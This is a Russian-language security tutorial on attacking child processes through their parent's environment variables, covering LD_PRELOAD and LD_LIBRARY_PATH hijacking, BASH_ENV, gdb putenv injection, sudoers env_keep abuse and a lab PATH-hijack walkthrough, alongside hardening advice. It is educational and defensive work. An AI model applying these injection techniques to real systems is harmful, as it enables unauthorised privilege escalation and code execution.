Зачем?
Тот, кто читает эти строки, наверняка уже не раз слышал скрипт кидди, задорно кричащего: «У меня рут!». Он тыкает в терминал sudo su - и считает, что достиг просветления, что перед ним разверзлись небеса вычислительной вселенной и все архангелы-демоны отныне покорны его воле. Сию секунду, с наскока, через призму одного лишь привилегированного доступа, мир действительно кажется простым. Но это иллюзия, мимолетная и опасная.Ты заходишь на заброшенный, покрытый цифровым мхом форум. Не тот, что сверкает Material Design и просит куки, а тот, что пахнет статикой моноширинного шрифта, где подписи в тредах- это не смайлики, а PGP-ключи и цитаты из «Степеней Свободы». Здесь говорят не о «взломе», а о понимании. Не о «руте», а о контроле. И контроль этот редко лежит на поверхности. Чаще всего он спрятан в механиках, которые старше многих из нас, в фундаментальных договоренностях между ядром и процессом, о которых не пишут в мануалах по DevOps.
Сегодня мы говорим об одном из таких фундаментальных, почти метафизических, понятий - переменных окружения процесса. И не просто говорим, а разбираем, как их скрытая модификация в родительском процессе может стать ключом к выполнению произвольного кода в контексте дочернего. Это не очередной CVE-сплойт, не троян в стиле Голливуда. Это тихая, почти невидимая манипуляция самой средой обитания программы. Если процессы - это живые организмы, то переменные окружения - это воздух, которым они дышат, гравитация, которая их держит, и невидимые химические сигналы, управляющие их поведением. А что, если мы научимся менять состав этого воздуха для еще не рожденных процессов?
Зачем это все, если есть sudo? - спросит тот самый скрипт-кидди.
А затем, что sudo -это всего лишь один из стражей у самых видимых ворот. Мир UNIX-подобных систем (а значит, и всего современного интернета, облаков и телефонов в твоем кармане) построен на идее наследования. Процесс-отец порождает процесс-сына и передает ему часть своего контекста. Самый очевидный кусочек этого контекста -переменные окружения. И эта передача часто происходит мимо всех систем контроля доступа, политик SELinux и мониторов целостности. Потому что это не действие, это - состояние. Система не «разрешает» или «запрещает» передачу переменной LD_PRELOAD. Она просто передает ее, потому что так задумано. Это кровь, текущая по артериям системы. И наша задача - научиться вводить в эту кровь нужные нам «вещества», которые изменят поведение «органов», которые ее получат.
Представь себе сцену.
Ты -ограниченный пользователь на сервере. sudo тебе не светит. su -тем более. Но ты обнаруживашь, что раз в минуту от имени системного демона (скажем, ntpd или redis) запускается какой-то скрипт для проверки логов. Скрипт этот -бинарный, запакованный, отладочная информация стерта. Трогать его -значит вызвать срабатывание HIDS (Host-based Intrusion Detection System). Но ты замечаешь, что демон, запускающий этот скрипт, берет свою конфигурацию (включая пути к библиотекам) из переменной окружения, которую сам читает из файла /etc/default/ntpd. А права на этот файл… О, чудо! Они стоят -rw-rw-r--, и ты в группе, которая может писать в него! Это не уязвимость в классическом понимании. Это неверная конфигурация. И она в тысячу раз ценнее, потому что эксплуатируется тихо, без падения сервисов, без segfault-ов в логах. Ты не атакуешь код. Ты атакуешь намерение администратора, его предположение о безопасности.
Вот о таких атаках на намерение и контекст мы и будем говорить. Это высший пилотаж. Когда ты перестаешь искать дыры в стенах и начинаешь искать способ убедить стражника, что ты - свой, что твои инструкции - это и есть приказы командира.
Что тебя ждет?
Мы не просто пробежимся по LD_PRELOAD. Мы погрузимся в:
- Глубины ядра: Как на самом деле выглядит вызов execve() и где в памяти процесса прячется указатель envp.
- Психологию демонов: Как различные сервисы (systemd, cron, супервизоры) управляют окружением своих детей и где оставляют бреши.
- Арсенал инструментов: От прямолинейного gdb и библиотек для инъекции через ptrace до хитрого использования fork() с задержкой и race condition атак на /proc/[pid]/environ.
- Оборону: Как современные системы (контейнеры, песочницы, мандатные контроля) пытаются заблокировать эти векторы и где проскальзывают их философские противоречия.
- Полноценную симуляцию: Мы построим в виртуальной машине мини-лабораторию: уязвимый демон, неправильно сконфигурированные права, и шаг за шагом, как на шахматной доске, проведем атаку от разведки до выполнения кода.
И помни главное правило нашего цеха: Сила обязывает. Знание, которое ты получишь, - это ответственность. Используй его, чтобы укреплять, а не крушить. Чтобы делать сети надежнее, код - чище, а системы - понятнее для тех, кто придет после тебя.
Предупреждение (самое главное): Всё, что описано ниже, - это исследование механизмов операционной системы. Применение этого в чужих системах без явного разрешения - преступление. Ты не станешь крутым хакером, сломав чужой сервер. Ты станешь крутым, ПОНЯВ, как он работает, и построив что-то своё, более надёжное. Запомни это.
Основа основ. Что такое окружение и кто его носит?
1.1. Душа процесса: argc, argv[] и envp[]
Когда ты в консоли пишешь ls -la /home, происходит примерно следующее:- Твой шелл (bash, zsh, fish) - это процесс-родитель. Он вызывает системный вызов fork(). Рождается процесс-ребёнок, почти полная копия родителя.
- В этом ребёнке вызывается execve("/bin/ls", ["ls", "-la", "/home"], environ).
- Первый аргумент - путь к исполняемому файлу.
- Второй - массив строк аргументов (то, что ты видишь в argv в Си-программе).
- Третий - тот самый массив переменных окружения. Указатель на него передаётся в новый процесс при его создании.
Код:
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOME=/home/shadow_mason
USER=shadow_mason
SHELL=/bin/bash
TERM=xterm-256color
И так далее. Заканчивается массив NULL-указателем.
Ключевой момент №1: Этот массив передаётся по наследству. Дочерний процесс получает копию окружения родителя. Именно копию. Изменения в ребёнке не затрагивают родителя. Но! А если мы залезем в память родителя и изменим его окружение до того, как он создаст ребёнка?
1.2. Где живёт окружение? /proc/[pid]/environ
В Linux всё есть файл. А если не файл, то процесс. Окружение любого процесса лежит в виртуальном файле /proc/[pid]/environ. Это не настоящий файл на диске. Это окно, предоставленное ядром, в память процесса.
Bash:
# Посмотрим на окружение своего шелла:
echo $$ # Узнаем PID текущего шелла (допустим, 1234)
sudo cat /proc/1234/environ | tr '\0' '\n' # Заменяем нулевые байты на переносы строк
Ты увидишь свою текущую среду. Чисто, прозрачно.
Файл /proc/[pid]/environ доступен на чтение только владельцу процесса и руту. Это важное ограничение. Мы не можем просто так взять и прочитать окружение процесса другого пользователя. Но если мы уже получили привилегии (или работаем в контексте своего процесса/родителя), это наша отправная точка.
1.3. Родители и дети. Кто кого порождает?
Система - это дерево. init или systemd (PID 1) - корень. Всё растёт из него. Когда процесс делает fork() + execve(), он передаёт новому процессу свою среду. Это фундаментальный механизм.Представь сценарий:
- Есть системный демон, работающий от рута. Допустим, cron.
- Он запускает скрипт из /etc/cron.hourly/.
- По умолчанию, скрипт получает очень скудное, безопасное окружение. Часто только PATH да HOME. Это называется санитизацией окружения.
- Но что, если мы можем до момента запуска скрипта изменить окружение самого демона cron? Теоретически, скрипт унаследует уже нашу, модифицированную среду.
Практическое оружие. От теории к инъекции.
2.1. Классика жанра: LD_PRELOAD - твой первый друг и учитель
Это самая известная переменная окружения в хакерском мире. Динамический линковщик ld-linux.so, который загружает разделяемые библиотеки (*.so) для программы, смотрит на эту переменную. Если LD_PRELOAD содержит путь к библиотеке, эта библиотека будет загружена ПЕРВОЙ и получит приоритет над всеми другими.Что это даёт? Возможность перехватывать вызовы стандартных библиотечных функций (libc): strcmp, fopen, getuid, да чего угодно.
Практический инструмент №1: Создание простейшей библиотеки для LD_PRELOAD.
Допустим, мы хотим логировать все вызовы strcmp в какой-нибудь программе.
inject_strcmp.c:
C:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
// Тип оригинальной функции
int (*original_strcmp)(const char *, const char *);
// Наша подмена
int strcmp(const char *s1, const char *s2) {
// Находим оригинальную функцию при первом вызове
if(!original_strcmp) {
original_strcmp = dlsym(RTLD_NEXT, "strcmp");
}
// Логируем вызов
FILE *f = fopen("/tmp/strcmp_log.txt", "a");
if(f) {
fprintf(f, "[%s] strcmp(\"%s\", \"%s\")\n",
program_invocation_short_name, s1, s2);
fclose(f);
}
// Вызываем оригинальную функцию
return original_strcmp(s1, s2);
}
Собираем:
Bash:
gcc -shared -fPIC -o libinject_strcmp.so inject_strcmp.c -ldl
Bash:
# Классический способ - задать в окружении до запуска программы
LD_PRELOAD=/path/to/libinject_strcmp.so ls -la
После этого запуска ls, все вызовы strcmp (а их там много для сравнения имён файлов) попадут в /tmp/strcmp_log.txt.
А теперь главный вопрос: А если программа, которую мы хотим "обогатить", запускается не нами напрямую, а, например, тем же демоном cron? Нам нужно, чтобы LD_PRELOAD был в окружении родительского процесса (cron) в момент запуска целевой задачи.
Ограничение: LD_PRELOAD - мощная, но грубая сила. Многие SUID/SGID-бинарные файлы (те, что меняют эффективного пользователя, типа passwd) игнорируют LD_PRELOAD из соображений безопасности. Линковщик сбрасывает эту переменную при обнаружении бита setuid. Также многие системы используют selinux или apparmor, которые могут блокировать такое вмешательство.
2.2. Более тонкий подход: LD_LIBRARY_PATH и подмена библиотек
Если LD_PRELOAD - это штурмовой молот, то манипуляция LD_LIBRARY_PATH - это отмычка. Эта переменная говорит линковщику, в каких каталогах искать разделяемые библиотеки помимо стандартных путей (/lib, /usr/lib).Сценарий:
- Есть программа, которая использует какую-то специфическую библиотеку libcustom.so.1.
- Мы знаем, что она ищет её по стандартному пути /usr/lib.
- Мы создаём каталог /tmp/fake_lib, кладём туда свою версию libcustom.so.1 с полезной нагрузкой.
- Мы модифицируем окружение родительского процесса так, чтобы LD_LIBRARY_PATH=/tmp/fake_lib:$LD_LIBRARY_PATH.
- Родитель запускает целевую программу -> программа загружает НАШУ библиотеку.
2.3. Неочевидные переменные: от GET до PS1
Окружение - это не только для линковщика. Это общая среда передачи данных.- PYTHONPATH / PERLLIB / RUBYLIB / GEM_PATH: Аналоги LD_LIBRARY_PATH для интерпретаторов. Подменив их, можно заставить скрипт загружать ваш модуль.
- BASH_ENV: Если bash запускается неинтерактивно (как в скрипте), и эта переменная установлена, bash выполнит команды из указанного файла до запуска основного скрипта. Огромная дыра, если шелл-скрипты вызываются из уязвимого контекста.
- PS1, PROMPT_COMMAND (bash): Казалось бы, просто настройка приглашения командной строки. Но PROMPT_COMMAND - это команда, которая выполняется ПЕРЕД каждым выводом приглашения. Если ты каким-то чудом можешь вписать туда что-то в окружение системного процесса... это будет выполняться постоянно. Экзотично, но бывало.
- Специфичные для программ: Многие программы считывают конфигурацию из переменных. EDITOR=vim, HTTP_PROXY, TMPDIR. Изменение TMPDIR может перенаправить создание временных файлов в контролируемую нами директорию, что полезно для race condition атак.
Методы модификации. Как залезть в карман родителю?
Вот мы и подошли к самому сложному и интересному. У нас есть целевой родительский процесс (демон, служба). Мы хотим изменить его окружение до того, как он породит интересного нам ребёнка. Как?3.1. Способ 1: Прямой доступ через /proc/[pid]/mem (путь самурая)
Файл /proc/[pid]/mem - это, грубо говоря, прямая проекция всей памяти процесса. Теоретически, зная адрес, по которому расположен массив envp[] в целевом процессе, мы можем записать туда новые строки.Почти невозможно на практике. Почему?
- Нужны права рута (или мандат CAP_SYS_PTRACE).
- Нужно остановить процесс (ptrace(PTRACE_ATTACH, ...)), иначе данные могут быть несогласованными.
- Нужно найти адрес переменной environ в целевом процессе. Это требует анализа его памяти, поиска указателей, знания карты памяти (memory map). Это архисложная задача для запущенного, работающего бинарного файла без символов (strip).
- Даже если нашли, нужно корректно записать новые строки, не сломав выделенную память (heap/stack). Риск segmentation fault и краха процесса.
3.2. Способ 2: Использование ptrace() - отладчик как оружие
Ptrace - системный вызов для отладки. С его помощью один процесс может наблюдать и управлять выполнением другого: читать/писать регистры, память, перехватывать системные вызовы.Идея: Приаттачиться к целевому родительскому процессу, дождаться момента, когда он будет готовиться к fork()/execve(), и в этот момент подменить аргументы (в том числе указатель на окружение) системного вызова.
Практический инструмент №2: Скрипт на основе strace + gdb (концепт).
Полноценный код для ptrace-инжектирования окружения - это сотни строк на C. Но есть утилиты, которые делают часть работы.
- Находим PID родителя.
- Используем gdb (GNU Debugger) для интерактивного вмешательства.
Bash:
sudo gdb -p <PARENT_PID>
(gdb) call putenv("LD_PRELOAD=/tmp/malicious.so")
(gdb) continue
Команда putenv добавит переменную в окружение отлаживаемого процесса.
Ограничения:
- Требует прав отладчика (обычно рут).
- Процесс будет остановлен на время работы gdb.
- Многие демоны защищены от ptrace (например, через yama.ptrace_scope в современных ядрах Linux).
- Слишком интерактивно, не для скрытого внедрения.
3.3. Способ 3: Атака через общие ресурсы (Inheritance Attack) - самый элегантный и практичный
Вернёмся к основам. Окружение наследуется. Ключевой вопрос: а откуда родительский процесс сам получает своё окружение?Варианты:
- Из своего родителя. Это длинная цепочка. Если мы можем повлиять на раннего предка (например, на сессию пользователя, под которой запускается демон), то изменение дойдёт по цепочке.
- Из файлов конфигурации. Многие демоны читают переменные окружения из файлов типа /etc/default/название-демона или ~/.profile, /etc/profile, /etc/environment.
Пример уязвимой конфигурации (/etc/systemd/system/vulnerable.service):
Код:
[Service]
ExecStart=/usr/local/bin/my_daemon
User=daemon
Environment="LD_LIBRARY_PATH=/opt/myapp/lib"
# А что, если мы можем записать файл, на который ссылается EnvironmentFile?
EnvironmentFile=/etc/myapp/%i.conf
Если мы можем повлиять на содержимое /etc/myapp/ (через другую уязвимость, неправильные права), мы можем добавить туда нашу переменную, например, LD_PRELOAD=/tmp/bad.so.
Но это требует прав на запись в системные конфиги. Часто это уже привилегированная операция.
3.4. Способ 4: Атака на момент запуска (сценарий для пентеста)
Самый классический сценарий, где это работает почти из коробки.- Есть скрипт (sudo, cron, init.d), который запускает какую-то программу.
- В этом скрипте не санитизируется окружение.
- У нас есть возможность задать переменные окружения перед запуском этого скрипта.
Конфиг sudoers может содержать директиву env_keep. Она разрешает сохранять определённые переменные окружения из среды пользователя, вызывающего sudo.
Допустим, в /etc/sudoers есть строка:
Код:
Defaults env_keep += "LD_LIBRARY_PATH"
%admin ALL=(ALL) ALL
И есть программа /usr/local/bin/admin_tool, которая использует библиотеки.
Атакующий (в группе admin):
Bash:
# Устанавливаем свою библиотеку в путь
export LD_LIBRARY_PATH=/tmp/evil_lib
# Запускаем программу через sudo
sudo /usr/local/bin/admin_tool
Программа, запущенная от рута через sudo, унаследует LD_LIBRARY_PATH пользователя и загрузит библиотеку из /tmp/evil_lib.
Мораль: Конфигурация - это код. Плохая конфигурация - это уязвимость.
Обход защиты. Мир после Spectre и Meltdown.
Современные системы не спят. Давай посмотрим, что стоит на нашем пути.4.1. SELinux, AppArmor, grSecurity
Мандатные системы контроля доступа (MAC). Они работают на уровне политик.- SELinux: Может запретить процессу, даже рутовому, доступ к файлам /proc/[pid]/mem, использование ptrace, или загрузку библиотек из неразрешённых путей (включая LD_PRELOAD).
- AppArmor: Может явно запретить в профиле чтение/запись в /proc/*/mem или установку переменных окружения типа LD_PRELOAD.
4.2. Усиленные дистрибутивы (Kernel Hardening)
- kernel.yama.ptrace_scope = 1 или 2: Ограничивает ptrace только прямыми потомками. Не даст приаттачиться к произвольному демону.
- kernel.dmesg_restrict = 1: Скрывает логи ядра от непривилегированных пользователей, что усложняет анализ.
- kernel.kptr_restrict = 2: Скрывает адреса символов ядра, что ломает некоторые техники поиска в памяти.
4.3. Атаки на уровне контейнеров (Docker & Co.)
В контейнерах окружение часто контролируется жёстче, но есть нюансы.- docker run -e "MY_VAR=value" - явное задание переменных при запуске.
- Но! Образ может содержать уязвимые скрипты точку входа (ENTRYPOINT, CMD), которые не очищают окружение.
- Если есть возможность запустить произвольную команду в контейнере (через docker exec или уязвимость в приложении), можно задать переменные для дочерних процессов внутри контейнера.
Bash:
# Если получили шелл в контейнере:
env
cat /proc/1/environ | tr '\0' '\n' # Окружение PID 1 (основного процесса)
# Ищем чувствительные переменные, унаследованные от хоста или образа.
Полноценная симуляция атаки (от и до) в лаборатории.
Давай соберём всё вместе в учебном примере. Цель: заставить простой демон, запускающий скрипт, выполнить наш код через LD_PRELOAD.Сценарий:
- Жертва: Демон test_daemon (наш собственный, написанный для теста), который раз в минуту запускает скрипт logger.sh. Работает от обычного пользователя user.
- Атакующий: Имеет доступ к учётной записи того же user (или рута).
- Задача: Подменить выполнение logger.sh так, чтобы он отправил нам шелл или записал данные, не меняя исходный скрипт.
Создадим простейший демон на Python (для наглядности):
test_daemon.py:
Python:
#!/usr/bin/env python3
import os
import time
import subprocess
print(f"[DAEMON] PID: {os.getpid()}")
print(f"[DAEMON] Environment: {os.environ.get('CUSTOM_VAR', 'NOT SET')}")
while True:
# ВАЖНО: запускаем скрипт, наследуя своё окружение
subprocess.run(["/home/user/logger.sh"])
time.sleep(60)
logger.sh:
Bash:
#!/bin/bash
echo "[LOGGER] $(date): Daemon is working. CUSTOM_VAR=$CUSTOM_VAR"
Запускаем демона: python3 test_daemon.py &
Шаг 1: Разведка.
Смотрим его PID: ps aux | grep test_daemon. Допустим, PID = 5555.
Смотрим его окружение: cat /proc/5555/environ | tr '\0' '\n'. Видим, что CUSTOM_VAR не установлена.
Шаг 2: Создание полезной нагрузки.
Пишем библиотеку для LD_PRELOAD, которая перехватит вызов какой-нибудь функции в logger.sh. Но logger.sh - это bash-скрипт, он не загружает libc напрямую так, как бинарный файл. Нужна более хитрая тактика.
Вариант А: Заставить демон запускать НЕ оригинальный logger.sh, а нашу обёртку. Для этого можно подменить переменную PATH в окружении демона.
Создадим вредоносный скрипт с тем же именем:
/tmp/evil_logger.sh:
Bash:
#!/bin/bash
# Наш код
echo "OWNED! PID: $$" > /tmp/owned.txt
# Незаметно вызываем оригинальный скрипт
/bin/bash /home/user/logger.sh
Даём права: chmod +x /tmp/evil_logger.sh.
Шаг 3: Инъекция.
Нам нужно изменить окружение процесса 5555, добавив PATH=/tmp:$PATH. Используем gdb (в учебных целях!).
Bash:
sudo gdb -p 5555
(gdb) call (int) putenv("PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin")
(gdb) call (int) putenv("CUSTOM_VAR=HACKED")
(gdb) detach
(gdb) quit
Шаг 4: Ожидание и результат.
Ждём минуту. Демон делает subprocess.run(["logger.sh"]). Шелл ищет logger.sh в PATH. Первый путь - /tmp. Там лежит наш evil_logger.sh. Он выполняется, пишет в /tmp/owned.txt и незаметно вызывает оригинальный скрипт.
Проверяем: cat /tmp/owned.txt -> OWNED! PID: 6677.
Смотрим логи оригинального скрипта (если они есть) - всё выглядит нормально: [LOGGER] ... CUSTOM_VAR=HACKED.
Успех. Мы модифицировали окружение родительского процесса и повлияли на поведение его дочернего процесса.
Зачем всё это нужно?
Ты мог прочитать всё это и подумать: "Ну, в 2024 году это всё детские игрушки. EDR, антивирусы, изоляция - всё это ловит такие примитивные техники".И будешь отчасти прав. Прямая модификация через /proc/mem или gdb на защищённой системе - это как идти на КПП с гранатомётом: эффектно, но тебя заметят за километр.
Так в чём смысл?
- Понимание фундамента. Все сложные атаки - это композиция простых примитивов. АПТ (Advanced Persistent Threat) может использовать уязвимость в софте, чтобы выполнить код, затем - технику внедрения в память, потом - запуск своего модуля через подмену библиотек, которую обеспечивает как раз модификация окружения у унаследованного процесса. Если ты не знаешь базиса, ты не поймёшь сложных отчетов от Mandiant или CrowdStrike.
- Обход сложных систем. Представь, что у тебя уже есть выполнение кода в контейнере или в рамках ограниченного процесса (например, через chroot или seccomp). Но тебе нужно вырваться наружу. Анализ унаследованного окружения, поиск переменных типа DBUS_SESSION_BUS_ADDRESS, XAUTHORITY (для доступа к графической сессии) - это прямые векторы эскалации. Это не про LD_PRELOAD, это про поиск ключей в среде, которая тебе "подарила" родительский процесс.
- Арт-хакинг. Это искусство видеть систему такой, какая она есть, а не такой, какой её хотят показать. Когда ты понимаешь, что переменная окружения, которую ты установил в .bashrc, проходит через всю цепочку процессов твоей сессии, ты начинаешь видеть систему как живую, дышащую сущность, а не как черный ящик.
- Защита своих систем. Прочитав это, ты должен первым делом пойти и проверить:
- Конфиги своих systemd-сервисов: нет ли там EnvironmentFile на world-writable файлы?
- Скрипты, запускаемые из cron: делают ли они env -i или хотя бы обнуляют опасные переменные?
- Права на /proc в своих контейнерах?
- Использует ли твой sudoers env_reset и правильно ли настроен env_keep?
Ещё один кирпич в стене.
Итак, мы прошли долгий путь. От сухих строчек в /proc/[pid]/environ до концепции подмены воздуха, которым дышат процессы. Если ты читаешь эти строки не просто пробежав глазами, а прокручивая в голове примеры, возможно, даже запуская их на своей тестовой виртуалке - поздравляю. Ты только что прокачал свой скилл не просто как «хакер», а как системный философ.Потому что именно здесь, в этой точке, где техническая механика сталкивается с абстрактной моделью поведения системы, и рождается настоящее понимание. И теперь, на прощание, давай выйдем за рамки чистой техники и поговорим о том, что это все на самом деле значит.
Переменные окружения как наследуемый мир
Представь на секунду, что каждый процесс - не просто исполняемый код, а целая вселенная. У нее есть свои законы (системные вызовы), свое пространство (виртуальная память), свое время (таймеры, планировщик). Но откуда берутся физические константы этой вселенной? Гравитация, скорость света, заряд электрона? В мире процессов эти константы - переменные окружения.Когда процесс-родитель создает процесс-ребенок, он не просто копирует код. Он копирует целый мир. Со всеми его странными, иногда нелогичными, законами. PATH - это карта путей, по которым можно путешествовать в поисках исполняемых файлов. LD_LIBRARY_PATH - это список измерений, откуда можно призывать библиотеки-артефакты. HOME - это точка отсчета, твоя база. TMPDIR - это область хаоса, где можно создавать и разрушать временные файлы-миры.
И самое главное - ребенок не может просто так изменить мир родителя. Он получает его как данность. Он может изменить свою копию, но это уже будет его личная вселенная, которую он, в свою очередь, передаст своим детям.
А теперь ключевое: Что, если мы можем изменить исходный мир еще до того, как в нем начнут рождаться новые вселенные? Мы становимся богами-инженерами, которые подкручивают константы мироздания. Не взламываем двери, не ломаем стены - мы меняем само пространство-время так, что нужные нам события становятся неизбежными.
Это и есть суть атаки через окружение родителя. Мы не атакуем программу. Мы атакуем контекст, в котором она рождается и живет. И контекст, в отличие от кода, часто остается беззащитным.
Почему это до сих пор актуально? Эпоха контейнеров и изоляции
«Погоди, - скажет скептик. - Мы живем в 2024 году. У нас есть контейнеры с их собственными неймспейсами, cgroups, изолированными файловыми системами. У нас есть eBPF, который может отслеживать каждое движение. Зачем эти древние трюки с LD_PRELOAD?»А вот затем, брат, что сложность - враг безопасности. Контейнер - это не магия. Это набор механизмов ядра, которые пытаются создать иллюзию изоляции. Но что лежит в основе каждого контейнера? Процесс. Чаще всего - PID 1 внутри этого контейнера. А откуда он берет свое окружение? От docker run -e, от Kubernetes ConfigMap, от образа. И если в этой цепочке передачи есть слабое звено (world-writable файл, из которого читается EnvironmentFile, уязвимость в рантайме оркестратора), то вся изоляция рушится, потому что мы атакуем не стену, а информацию, которую передают через эту стену.
Более того, сама идея микросервисов и оркестрации увеличила поверхность атаки, связанную с конфигурацией. Тысячи yaml-файлов, десятки тысяч переменных окружения, передаваемых между подами, сервисами, инит-контейнерами. Администратор, который вручную правит sudoers, думает трижды. Инженер, который пишет env: в деплоймент для кубернетеса, часто делает это на автомате. И здесь рождается новый класс уязвимостей: Supply Chain через конфигурацию.
Твой код может быть идеален. Твой образ - отсканирован на все CVE. Но если в момент запуска в твой контейнер попадает переменная JAVA_OPTS или NODE_EXTRA_CA_CERTS из скомпрометированного источника, все летит к чертям. И атаковать это будет не скрипт-кидди, а тот, кто прочитал эту статью и понял, что истинная сила лежит в управлении средой, а не в взломе кода.
От атаки к защите
Если ты дошел досюда и твой мозг жаждет применить эти знания где-то кроме безобидной виртуалки - остановись. Сделай шаг назад. И спроси себя: Как я могу использовать это, чтобы сделать мир хоть немного безопаснее?Вот твои новые суперсилы:
- Взгляд аудитора. Теперь, глядя на любой демон, сервис, контейнер, ты будешь автоматически задавать вопросы:
- Откуда он берет окружение? (systemctl show servicename | grep Environment)
- Какие переменные он передает своим детям? (strace -e trace=execve -f -p PID)
- Есть ли у него env_clean или env_reset в конфигурации?
- На какие файлы ссылается EnvironmentFile и какие у них права?
Это делает тебя в тысячу раз опаснее (для злоумышленников) как защитника.
- Понимание атаки как системы. Ты больше не будешь смотреть на эксплойт как на волшебную пулю. Ты будешь видеть его как процесс: получение начального доступа -> эскалация через унаследованное окружение -> установка персистентности через модификацию скриптов запуска. И на каждом этапе ты сможешь поставить контрмеру, именно потому, что понимаешь механику.
- Создание более жестких систем. Напиши свой мини-systemd, который будет санитизировать окружение для всех детей. Создай eBPF-программу, которая отслеживает попытки установки LD_PRELOAD в процессах с высокими привилегиями. Придумай механизм верификации EnvironmentFile с помощью цифровых подписей. Понимание атаки рождает творчество в защите.
Личное напутствие: Куда идти дальше?
Ты освоил фундамент. Но здание еще не построено. Вот направления, в которых стоит копать:- Глубже в ядро: Изучи исходники fs/exec.c в ядре Linux. Узнай, как именно do_execveat_common обрабатывает envp. Посмотри на реализацию binfmt_script (запуск скриптов) и как она взаимодействует с интерпретатором, чей путь часто берется из окружения.
- Динамическая линковка - темный лес: Прочти man ld.so. Все. От корки до корки. Пойми, что такое DT_RPATH, DT_RUNPATH, DT_NEEDED. Изучи механизм dlopen() и dlsym(). Это сердце того, как живут современные бинарные файлы.
- Контейнеры под лупой: Разберись, как runc, containerd и CRI-O создают окружение для контейнеров. Изучи спецификации OCI Runtime Spec. Пойми, где в этой цепочке можно вклиниться.
- Песочницы нового поколения: Посмотри на gVisor, Firecracker, Kata Containers. Как они изолируют не только ресурсы, но и окружение? Какие у них модели угроз?
- Атаки через аппаратное окружение: Это уже запредельный уровень. Но знаешь ли ты, что переменные окружения могут влиять на то, как JIT-компиляторы генерируют код? Или как CUDA_VISIBLE_DEVICES может изолировать GPU? Мир огромен.
Последняя правда
Техника, которую мы разобрали, - не панацея. Это один из инструментов в бесконечно большом наборе. Настоящий мастер отличается не знанием одного приема, а способностью видеть связи между разными слоями системы: от аппаратного обеспечения до бизнес-логики приложения.Истинная сила, которую ты сегодня приобрел, - это системное мышление. Способность увидеть в простой переменной PATH не просто строку, а вектор наследования, доверия и потенциального компромета. Способность воспринимать ОС не как данность, а как диалог между процессами, где окружение - это язык этого диалога.
Запомни окончательную формулу:
Теперь иди. Строй свои лаборатории. Ломай свои системы, чтобы понять, как их чинить. И, самое главное, делись знанием. Пиши статьи, выступай на митапах, веди блоги. Потому что знание, запертое в одной голове, умирает. А знание, переданное другим, становится силой, способной изменить цифровой ландшафт к лучшему.Безопасность - это не стена. Это - понимание потоков информации.
Контроль - это не запрет. Это - управление контекстом.
Власть - это не root. Это - знание, как рождаются процессы и какой воздух они вдыхают с первого такта.
Мы, те, кто ковыряется в /proc и читает man-страницы на ночь, - мы не вандалы. Мы - архитекторы реальности. И от нас зависит, будет ли эта реальность устойчивой, прозрачной и, в конечном счете, свободной.
Пусть твой PATH всегда ведет к мудрости, а твой LD_PRELOAD загружает только проверенные библиотеки. Система ждет своего исследователя.